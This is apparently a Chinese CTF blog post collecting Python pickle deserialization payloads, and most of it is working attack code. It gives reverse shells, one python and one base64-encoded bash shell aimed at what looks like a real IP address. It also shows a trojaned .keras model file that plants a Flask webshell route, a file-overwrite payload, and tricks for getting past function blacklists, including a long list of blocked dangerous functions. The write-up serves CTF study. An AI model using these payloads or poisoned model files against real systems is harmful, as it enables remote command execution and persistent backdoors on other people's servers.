pickle反序列化

pickle反序列化

python的很多危险来源都是这个pickle pickle时用来序列化和反序列化的

payloads

0 利用cp 覆盖app.py

import pickle

import base64

import subprocess

class A():

    def __reduce__(self)://__reduce__方法类似于php的wakeup

        return (subprocess.check_output, (["cp","/flag","/app/app.py"],))

a=A()

b=pickle.dumps(a)

with open("1.png", "wb") as f:

     pickle.dump(a, f)

print(base64.b64encode(b))

1 反弹shell

import pickle

import os

import base64

class A(object):

    def __reduce__(self):

        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""

        return (os.system,(a,))

a = A()

pickle_a = pickle.dumps(a)

print(base64.b64encode(pickle_a).decode())

2 内存马(题目来自于d^3CTF的ai模型安全)

在网上找到相关文章,提示使用pickle反序列化: https://huntr.com/bounties/a3ea601c-f904-4e06-a03e-deb9ff2aa8be

import pickle
import zipfile
import json

payload = """
[ __import__('time').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for c4tchm3 in [ lambda : __import__('os').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({'_got_first_request':False}), app.add_url_rule("/c4tchm3", endpoint="c4tchm3", view_func=c4tchm3) ] ]
"""
__globals__是Python 函数的属性,返回该函数的全局命名空间(包含所有可访问的变量、模块等)
在 Jinja2(以及 Flask 的模板系统)中,`jinja_env.globals` 是一个**字典**,用于定义**所有模板均可访问的全局变量、函数或对象** 这里用来获取request


# malicious weights file
class MaliciousPickle:
    def __reduce__(self):
        return (eval, (payload,))


mal = pickle.dumps(MaliciousPickle())
config = {
    "class_name": "InputLayer",
    "config": {"batch_shape": [], "dtype": "int64", "name": "encoder_inputs"},
    "inbound_nodes": [],
    "module": "keras.layers",
    "name": "input_layer",
}

with open("config.json", "w") as f:
    json.dump(config, f, indent=2)

with open("model.weights.npz", "wb") as f:
    f.write(mal)

with zipfile.ZipFile("mal.keras", "w") as zipf:
    zipf.write("model.weights.npz")
    zipf.write("config.json")

3 bash反弹

import pickle

import base64

import subprocess

class Exploit:

    def __reduce__(self):

        # 替换成你的 Base64 编码反弹 Shell 命令

        encoded_cmd = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTIuNzQuODkuNTgvMzYyMDYgIDA+JjE="

        return (

            subprocess.Popen,

            (["bash", "-c", f"echo {encoded_cmd} | base64 -d | bash"],),

        )

# 生成 Payload

payload = pickle.dumps(Exploit())

print(base64.b64encode(payload).decode())

因为bash反弹的符号可能会被认识成阻断符号 所以用base加密一下

绕过(奇技淫巧)

 有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

  可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。

  另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:

class Exploit(object):
    def __reduce__(self):
 	return map,(os.system,["ls"])

  总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。

全局变量包含:c指令码的妙用

  有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应

目标是取得well done

  不能用R指令码了,不过没关系。还记得我们的c指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:

  如何用c指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxzX\x03\x00\x00\x00rxz替换成我们的这个global指令,来看看改造之后的效果:

load一下,发现真的引入了blue里面的变量

  把这个payload进行base64编码之后传进题目,得到well done。

  顺带一提,由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。

posted @ 2025-06-16 14:40  Echair  阅读(64)  评论(4)    收藏  举报